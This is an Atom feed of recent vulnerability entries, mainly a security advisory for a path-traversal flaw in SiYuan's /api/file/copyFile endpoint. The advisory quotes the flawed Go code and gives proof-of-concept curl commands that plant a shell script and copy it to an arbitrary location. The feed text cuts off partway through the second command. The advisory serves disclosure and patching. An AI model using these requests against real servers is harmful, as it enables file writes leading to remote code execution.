<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
  <id>https://cve.radiocsirt.org/rss/recent/all/10</id>
  <title>Most recent entries from all</title>
  <updated>2026-10-18T22:22:32.473632+00:00</updated>
  <author>
    <name>Vulnerability-Lookup</name>
    <email>csirt@opendfir.org</email>
  </author>
  <link href="https://cve.radiocsirt.org" rel="alternate"/>
  <generator uri="https://lkiesow.github.io/python-feedgen" version="1.0.0">python-feedgen</generator>
  <subtitle>Contains only the most 10 recent entries.</subtitle>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/euvd-2026-267495</id>
    <title>EUVD-2026-267495</title>
    <updated>2026-10-18T22:22:32.532042+00:00</updated>
    <content>EUVD-2026-267495</content>
    <link href="https://cve.radiocsirt.org/vuln/euvd-2026-267495"/>
  </entry>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/fkie_cve-2026-25539</id>
    <title>fkie_cve-2026-25539</title>
    <updated>2026-10-18T22:22:32.532082+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml">
        <p>SiYuan is a personal knowledge management system. Prior to version 3.5.5, the /api/file/copyFile endpoint does not validate the dest parameter, allowing authenticated users to write files to arbitrary locations on the filesystem. This can lead to Remote Code Execution (RCE) by writing to sensitive locations such as cron jobs, SSH authorized_keys, or shell configuration files. This issue has been patched in version 3.5.5.</p>
      </div>
    </content>
    <link href="https://cve.radiocsirt.org/vuln/fkie_cve-2026-25539"/>
  </entry>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/ghsa-c4jr-5q7w-f6r9</id>
    <title>GHSA-c4jr-5q7w-f6r9 — SiYuan has Arbitrary File Write via /api/file/copyFile leading to RCE</title>
    <updated>2026-10-18T22:22:32.532115+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> Go: github.com/siyuan-note/siyuan/kernel</p>
<p>## Summary</p>
<p>The `/api/file/copyFile` endpoint does not validate the `dest` parameter, allowing authenticated users to write files to arbitrary locations on the filesystem. This can lead to Remote Code Execution (RCE) by writing to sensitive locations such as cron jobs, SSH authorized_keys, or shell configuration files.</p>
<p>- Affected Version: 3.5.3 (and likely all prior versions)</p>
<p>## Details</p>
<p>- Type: Improper Limitation of a Pathname to a Restricted Directory (CWE-22)
- Location: `kernel/api/file.go` - copyFile function</p>
<p>```go
// kernel/api/file.go lines 94-139
func copyFile(c *gin.Context) {
    // ...
    src := arg["src"].(string)
    src, err := model.GetAssetAbsPath(src)  // src is validated
    // ...</p>
<p>dest := arg["dest"].(string)  // dest is NOT validated!
    if err = filelock.Copy(src, dest); err != nil {
        // ...
    }
}
```</p>
<p>The `src` parameter is properly validated via `model.GetAssetAbsPath()`, but the `dest` parameter accepts any absolute path without validation, allowing files to be written outside the workspace directory.</p>
<p>## PoC</p>
<p>### Step 1: Upload malicious content to workspace</p>
<p>```bash
curl -X POST "http://target:6806/api/file/putFile" \
  -H "Authorization: Token &lt;API_TOKEN&gt;" \
  -F "path=/data/assets/malicious.sh" \
  -F "file=@-;filename=malicious.sh" &lt;&lt;&lt; '#!/bin/sh
id &gt; /tmp/pwned.txt
hostname &gt;&gt; /tmp/pwned.txt'
```</p>
<p>### Step 2: Copy to arbitrary location (e.g., /tmp)</p>
<p>```bash
curl -X POST "http://target:6806/api/file/copyFile" \
  -H "Authoriza…</p></div>
    </content>
    <link href="https://cve.radiocsirt.org/vuln/ghsa-c4jr-5q7w-f6r9"/>
  </entry>
</feed>
